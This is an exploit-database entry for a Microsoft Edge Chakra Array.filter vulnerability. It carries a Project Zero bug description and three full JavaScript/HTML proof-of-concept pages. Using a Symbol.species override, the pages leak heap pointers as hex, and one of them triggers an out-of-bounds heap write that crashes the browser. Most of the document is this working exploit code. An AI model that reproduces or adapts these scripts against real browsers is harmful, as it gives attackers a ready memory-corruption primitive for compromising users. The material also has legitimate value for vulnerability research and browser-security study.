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Microsoft Edge - Array.filter Info Leak Vulnerability
| Reporter | Title | Published | Views | Family All 45 |
|---|---|---|---|---|
 | Microsoft Windows 10 Edge - chakra.dll Info Leak / Type Confusion Remote Code Execution Exploit | 6 Jan 201700:00 | – | zdt |
 | Exploit for Out-of-bounds Write in Microsoft | 29 Apr 202620:45 | – | githubexploit |
 | CVE-2016-7200 | 10 Nov 201600:00 | – | attackerkb |
| CVE-2016-7202 | 10 Nov 201600:00 | – | attackerkb |
| CVE-2016-7243 | 10 Nov 201600:00 | – | attackerkb |
| CVE-2016-7208 | 10 Nov 201600:00 | – | attackerkb |
| CVE-2016-7201 | 10 Nov 201600:00 | – | attackerkb |
 | Microsoft Edge browser vulnerability, which allows a hacker to trigger a service failure or execute arbitrary code | 27 Dec 201600:00 | – | bdu_fstec |
 | CVE-2016-7200 | 18 Nov 201600:00 | – | circl |
 | Microsoft Edge Memory Corruption Vulnerability | 28 Mar 202200:00 | – | cisa_kev |
10
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=922
There is an info leak in Array.filter. In Chakra, the destination array that arrays are filtered into is initialized using ArraySpeciesCreate, which can create both native and variable arrays. However, the loop that calls the filter function assumes that the destination array is a variable array, and sets each value using DirectSetItemAt, which is unsafe, and can lead to a var pointer being written to an integer array. A PoC is as follows and attached:
var b = new Array(1,2,3);
var d = new Array(1,2,3);
class dummy{
constructor(){
return d;
}
}
class MyArray extends Array {
static get [Symbol.species]() {
return dummy;
}
}
var a = new Array({}, [], "natalie", 7, 7, 7, 7, 7);
function test(i){
return true;
}
a.__proto__ = MyArray.prototype;
var o = a.filter(test);
var h = [];
for(item in o){
var n = new Number(o[item]);
if (n < 0){
n = n + 0x100000000;
}
h.push(n.toString(16));
}
alert(h);
<html><body><script>
var b = new Array(1,2,3);
var d = new Array(1,2,3);
class dummy{
constructor(){
alert("in constructor");
return d;
}
}
class MyArray extends Array {
// Overwrite species to the parent Array constructor
static get [Symbol.species]() {
alert("get");
b[0] = {};
return dummy; }
}
var a = new Array({}, [], "natalie", 7, 7, 7, 7, 7);
function test(i){
return true;
}
a.__proto__ = MyArray.prototype;
var o = a.filter(test);
alert(o);
var h = [];
for(item in o){
var n = new Number(o[item]);
if (n < 0){
n = n + 0x100000000;
}
h.push(n.toString(16));
}
alert(h);
</script></body></html>
https://bugs.chromium.org/p/project-zero/issues/detail?id=922#c1
I looked a bit more into this issue, and I think it can actually be used to corrupt the heap too. The issue is that DirectSetItemAt is called on an int array when it thinks it's a Var array. But since elements of a Var array are twice as wide as elements of the int array, setting items at indexes larger than half the array length will write outside of the allocated array. I've attached a sample that crashes Edge and demonstrates the overflow.
-->
<html>
<body>
<script>
var b = new Array(1,2,3);
var d = new Array(1,2,3);
d.length = 0x200000;
d.fill(7);
class dummy{
constructor(){
alert("in constructor");
return d;
}
}
class MyArray extends Array {
// Overwrite species to the parent Array constructor
static get [Symbol.species]() {
alert("get");
b[0] = {};
return dummy; }
}
var a = new Array({}, [], "natalie", 7, 7, 7, 7, 7);
for(var i = 0; i < 0x200000; i++){
a[i] = i;
}
function test(i){
return true;
}
a.__proto__ = MyArray.prototype;
var o = a.filter(test);
alert(o);
var h = [];
for(item in o){
var n = new Number(o[item]);
if (n < 0){
n = n + 0x100000000;
}
h.push(n.toString(16));
}
alert(h);
</script>
</body>
</html>
# 0day.today [2018-02-16] #Data
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19 Nov 2016 00:00Current
7.8High risk
Vulners AI Score7.8
EPSS0.88